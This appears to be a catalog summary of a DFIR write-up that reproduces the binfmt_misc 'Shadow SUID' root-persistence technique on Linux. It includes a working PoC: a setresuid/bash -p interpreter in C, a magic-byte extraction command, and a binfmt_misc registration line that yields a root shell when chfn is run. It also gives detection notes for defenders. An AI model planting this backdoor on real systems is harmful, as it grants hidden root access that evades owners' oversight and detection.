Skip to content

Back to the catalog

dfir.chwriteup

Today I learned: binfmt_misc

A DFIR.ch researcher revisits and reproduces the 2019 SentinelOne Shadow SUID technique using the Linux binfmt_misc kernel feature: by registering a handler with the C (credentials) flag matched against a SUID binary magic bytes (chfn), an attacker-controlled interpreter dropped in /dev/shm inherits root privileges without ever setting the SUID bit itself. The post includes a full working PoC, notes the technique is absent from MITRE ATT&CK and Elastic Linux persistence detection series, and closes with input from Elastic researcher Ruben Groenewoud on why existing SUID/SGID detection rules fail to catch it because chfn is never actually executed, it is a proxy execution.

TL;DR Reproduces the binfmt_misc Shadow SUID backdoor technique for silent root persistence and shows why current detection rules miss it.
Document

How it works

The C (credentials) flag on a binfmt_misc handler flips the normal privilege model: instead of the interpreter running with its own rights, the kernel takes the access rights from the original file being executed. Register a handler that matches a setuid-root binary's magic bytes, and your interpreter runs as root when that binary is invoked. The C flag also implies O ("open fd for unreadable files"). The page's key refinement over SentinelOne's ping-based demo: matching a legacy binary like chfn avoids breaking a command anyone actually uses.

Preconditions

  • Attacker already has root (this is a persistence/regain-access technique, not privilege escalation from an unprivileged start).
  • binfmt_misc mounted at /proc/sys/fs/binfmt_misc/. Verify with:
mount | grep binfmt_misc
  • A setuid-root binary to piggyback on. Find candidates with:
find / -perm -4000 2>/dev/null

What to do (reproduce / detect)

The interpreter — a minimal setresuid+execve program (gcc -o malmoeb malmoeb.c):

#define _GNU_SOURCE
#include <stdlib.h>
#include <unistd.h>
int main(void) {
    char *const paramList[10] = {"/bin/bash", "-p", NULL};
    const int id = 0;
    setresuid(id, id, id);
    execve(paramList[0], paramList, NULL);
    return 0;
}

Extract the target binary's magic bytes as \x-escaped hex:

cat /usr/bin/chfn | xxd -p | head -1 | sed 's/\(..\)/\\x\1/g'

Register the handler (as root), format :name:type:offset:magic:mask:interpreter:flags:

echo ':malmoeb:M::\x7f\x45\x4c\x46\x02\x01\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x03\x00\x3e\x00\x01\x00\x00\x00\x00\x72\x00\x00\x00\x00::/dev/shm/malmoeb:C' > /proc/sys/fs/binfmt_misc/register

After this, invoking chfn executes the interpreter with chfn's setuid-root credentials — a root shell.

For defenders: enumerate registered handlers under /proc/sys/fs/binfmt_misc/, and treat any handler carrying the C flag whose magic matches a setuid binary as suspicious. The article notes this is absent from both MITRE ATT&CK and Elastic's "Linux Persistence Detection Engineering" series as of 2025, so off-the-shelf detections likely won't flag it.

Caveats

This is a walkthrough/reproduction of a 2019 technique, not new research — the author is following 0xdf's HTB "Retired" writeup and SentinelOne's Shadow SUID posts. The fetched text is truncated mid-sentence in the field breakdown, so the full registration-string explanation and the promised "hunting section" are not captured here. The claim of undetectability is the author's assessment, not an independently verified test result.

Organisations named here

  • 0xdf
  • HTB Retired
  • Ruben Groenewoud
  • Shadow SUID

Technologies named here

  • binfmt_misc
  • Linux kernel
  • chfn
  • xxd
  • ping utility
  • gcc
  • Elastic detection rules
  • HTB machine 'Retired'
  • Linux
  • MITRE ATT&CK
  • SentinelOne

Techniques named here

  • Shadow SUID persistence
  • binfmt_misc backdoor via C flag
  • Proxy execution
  • SUID/SGID enumeration
  • Magic byte extraction via hex payload